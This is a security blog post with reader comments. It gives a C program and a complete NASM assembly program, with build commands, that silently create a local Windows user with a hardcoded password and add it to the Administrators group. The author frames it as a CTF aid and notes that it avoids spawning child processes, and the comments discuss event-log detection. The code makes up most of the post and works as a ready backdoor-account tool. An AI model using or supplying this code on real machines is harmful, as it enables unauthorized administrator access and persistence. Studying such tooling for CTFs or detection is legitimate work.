A friend asked me for a small program to add a new local user to a Windows system and make that user member of the Administrators group (CTF anyone? 😉 ).
I could find a program in my repository, but it was a very old program using system commands.
#include <stdio.h> #include <windows.h> int main(int argc, char* argv[]) { system("net user hack knock /add"); system("net localgroup administrators hack /add"); return 0; }
; Assembly code to add a new local user and make it member of Administrators group ; Written for NASM assembler (http://www.nasm.us) by Didier Stevens ; https://DidierStevens.com ; Use at your own risk ; ; Build: ; nasm -f win32 add-admin.asm ; Microsoft linker: ; link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib ; https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/ ; /fixed -> no relocation section ; /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section ; /filealign:256 -> smaller, but no valid exe ; MinGW linker: ; ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32 ; ; History: ; 2020/03/13 ; 2020/03/14 refactor ; 2020/03/15 refactor BITS 32 %define USERNAME 'hacker' %define PASSWORD 'P@ssw0rd' %define ADMINISTRATORS 'administrators' global _main extern _NetUserAdd@16 extern _NetLocalGroupAddMembers@20 extern _ExitProcess@4 struc USER_INFO_1 .uName RESD 1 .Password RESD 1 .PasswordAge RESD 1 .Privilege RESD 1 .HomeDir RESD 1 .Comment RESD 1 .Flags RESD 1 .ScriptPath RESD 1 endstruc struc LOCALGROUP_MEMBERS_INFO_3 .lgrmi3_domainandname RESD 1 endstruc USER_PRIV_USER EQU 1 UF_SCRIPT EQU 1 section .text _main: mov ebp, esp sub esp, 4 ; NetUserAdd(NULL, level=1, buffer, NULL) lea eax, [ebp-4] push eax push UI1 push 1 push 0 call _NetUserAdd@16 ; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1) push 1 push LMI3 push 3 push ADMINISTRATORS_UNICODE push 0 call _NetLocalGroupAddMembers@20 ; ExitProcess(0) push 0 call _ExitProcess@4 ; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section) ; section .data UI1: istruc USER_INFO_1 at USER_INFO_1.uName, dd USERNAME_UNICODE at USER_INFO_1.Password, dd PASSWORD_UNICODE at USER_INFO_1.PasswordAge, dd 0 at USER_INFO_1.Privilege, dd USER_PRIV_USER at USER_INFO_1.HomeDir, dd 0 at USER_INFO_1.Comment, dd 0 at USER_INFO_1.Flags, dd UF_SCRIPT at USER_INFO_1.ScriptPath, dd 0 iend USERNAME_UNICODE: db __utf16le__(USERNAME), 0, 0 PASSWORD_UNICODE: db __utf16le__(PASSWORD), 0, 0 ADMINISTRATORS_UNICODE: db __utf16le__(ADMINISTRATORS), 0, 0 LMI3: istruc LOCALGROUP_MEMBERS_INFO_3 at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE iend
To create the executable, you need to assemble and link this assembly code (this is not shellcode, just assembling is not enough).
Assembling is done with nasm (-f win32 to create a 32-bit object file):
nasm -f win32 add-admin.asm
Linking can be done with Microsoft’s linker (see Quickpost: Compiling with Build Tools for Visual Studio 2017) or MinGW‘s linker.
MS:
link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
I use /fixed so prevent the creation of a relocation section, which would make the EXE larger.
MinGW:
ld -L /c/msys64/mingw32/i686-w64-mingw32/lib –strip-all add-admin.obj -l netapi32 -l kernel32
In both cases, the EXE is 1536 bytes long.
Hi DIdier,
For DFIR or SOC Folks, those codes that you have tested, does it generate event logs for monitoring?
Comment by Anonymous — Wednesday 18 March 2020 @ 7:29
Oh yes, this is just using the Windows API, so this does indeed generate events. If you want, I can create a quickpost with an event log.
Comment by Didier Stevens — Wednesday 18 March 2020 @ 20:53
Hi Didier,
Why to use this complicated methods to add a user? Why not to simply use a two line CMD script?
Comment by Mark — Sunday 10 January 2021 @ 8:49
Hi Mark,
Because I wanted to make something complicated using the Win32 API, and that would not spawn child processes.
Comment by Didier Stevens — Sunday 10 January 2021 @ 11:27